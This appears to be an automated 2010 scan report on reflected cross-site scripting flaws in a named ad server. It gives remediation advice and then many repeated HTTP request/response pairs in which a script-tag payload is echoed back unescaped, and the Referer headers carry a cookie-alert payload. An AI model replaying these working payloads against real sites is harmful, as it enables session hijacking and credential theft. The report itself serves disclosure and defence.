Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 4ae33<script>alert(1)</script>3f481b83fd0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj4ae33<script>alert(1)</script>3f481b83fd0/1064/0/vj?ajecscp=1292033222620&z=1&dim=144&pos=1 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:49 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj4ae33<script>alert(1)</script>3f481b83fd0/1064/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 535c9<script>alert(1)</script>863c26eed60 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj535c9<script>alert(1)</script>863c26eed60/1066/0/vj?ajecscp=1292033223014&z=1&dim=122&pos=2 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:47 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj535c9<script>alert(1)</script>863c26eed60/1066/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload cd490<script>alert(1)</script>ab50a3bc638 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ajcd490<script>alert(1)</script>ab50a3bc638/1067/0/vj?ajecscp=1292033223115&z=1&dim=122&pos=3 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:54 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /ajcd490<script>alert(1)</script>ab50a3bc638/1067/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8b00b<script>alert(1)</script>b3037701840 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj8b00b<script>alert(1)</script>b3037701840/1081/0/vj?ajecscp=1292033223116&z=1&dim=157 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:52 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj8b00b<script>alert(1)</script>b3037701840/1081/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e2f43<script>alert(1)</script>d8e3c0cc6d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aje2f43<script>alert(1)</script>d8e3c0cc6d9/40616/0/vc?z=1&dim=24242 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:55 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aje2f43<script>alert(1)</script>d8e3c0cc6d9/40616/0/vc not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6f378<script>alert(1)</script>10839d6a71d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj6f378<script>alert(1)</script>10839d6a71d/40617/0/vj?ajecscp=1292033223081&z=1&dim=37872&pos=6 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:53 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj6f378<script>alert(1)</script>10839d6a71d/40617/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e1d3b<script>alert(1)</script>26e9ba91aa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aje1d3b<script>alert(1)</script>26e9ba91aa/65356/0/vj?ajecscp=1292033222616&z=1&dim=65095 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:46 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aje1d3b<script>alert(1)</script>26e9ba91aa/65356/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload dc14a<script>alert(1)</script>390f95c0e85 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ajdc14a<script>alert(1)</script>390f95c0e85/65357/0/vj?ajecscp=1292033222616&z=1&dim=65096 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:46 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /ajdc14a<script>alert(1)</script>390f95c0e85/65357/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3f915<script>alert(1)</script>cf68d7aa72a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj3f915<script>alert(1)</script>cf68d7aa72a/65358/0/vj?ajecscp=1292033222621&z=1&dim=65097 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:46 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj3f915<script>alert(1)</script>cf68d7aa72a/65358/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 79b53<script>alert(1)</script>2b6b3379968 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj79b53<script>alert(1)</script>2b6b3379968/82077/0/vj?ajecscp=1292033222615&z=1&dim=82071 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:46 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj79b53<script>alert(1)</script>2b6b3379968/82077/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 459a6<script>alert(1)</script>19da8255183 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj459a6<script>alert(1)</script>19da8255183/89985/0/vj?ajecscp=1292033222621&z=1&dim=89984 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:46 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj459a6<script>alert(1)</script>19da8255183/89985/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 19e64<script>alert(1)</script>8adee795dac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj19e64<script>alert(1)</script>8adee795dac/90120/0/vj?ajecscp=1292033222988&z=1&dim=90124 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:46 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj19e64<script>alert(1)</script>8adee795dac/90120/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8973d<script>alert(1)</script>4d1496bd2c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj8973d<script>alert(1)</script>4d1496bd2c/90121/0/vj?z=1&dim=90125 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0; ajess1_AE79DE12732E6B02887A6D2D=a; ajcmp=1!#{%MR{%P4{%PJ!!{*Oy
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:47 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj8973d<script>alert(1)</script>4d1496bd2c/90121/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 534d2<script>alert(1)</script>9711503da19 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj534d2<script>alert(1)</script>9711503da19/90122/0/vj?ajecscp=1292033223090&z=1&dim=90126 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:52 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj534d2<script>alert(1)</script>9711503da19/90122/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b6800<script>alert(1)</script>bc05ef89ba3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ajb6800<script>alert(1)</script>bc05ef89ba3/90123/0/vj?ajecscp=1292033223073&z=1&dim=90127 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:52 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /ajb6800<script>alert(1)</script>bc05ef89ba3/90123/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 238f0<script>alert(1)</script>58bfc9e7ef7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj238f0<script>alert(1)</script>58bfc9e7ef7/93745/0/vj?ajecscp=1292033222976&z=1&dim=93742 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:46 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj238f0<script>alert(1)</script>58bfc9e7ef7/93745/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d483b<script>alert(1)</script>124a55fed3b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ajd483b<script>alert(1)</script>124a55fed3b/93746/0/vj?ajecscp=1292033223001&z=1&dim=93743 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:52 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /ajd483b<script>alert(1)</script>124a55fed3b/93746/0/vj not found</pre> <BR>
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 69faa<script>alert(1)</script>834d52d2b26 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /aj69faa<script>alert(1)</script>834d52d2b26/93747/0/vj?ajecscp=1292033222985&z=1&dim=93744 HTTP/1.1 Host: aj.600z.com Proxy-Connection: keep-alive Referer: http://www.webpronews.com/topnews/2009/05/26/online-brand-fraud-poses-challenge-to-marketers?d26d5%3C/script%3E%3Cscript%3Ealertdocument.cookie)%3C/script%3E53c1268f75f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: optin=0
Response
HTTP/1.1 200 OK Server: JBird/1.0b Connection: close Date: Sat, 11 Dec 2010 02:20:46 GMT Content-Type: text/html
<H1>404 Not Found</H1> <pre>Resource /aj69faa<script>alert(1)</script>834d52d2b26/93747/0/vj not found</pre> <BR>
Report generated by XSS.CX at Fri Dec 10 20:34:07 CST 2010.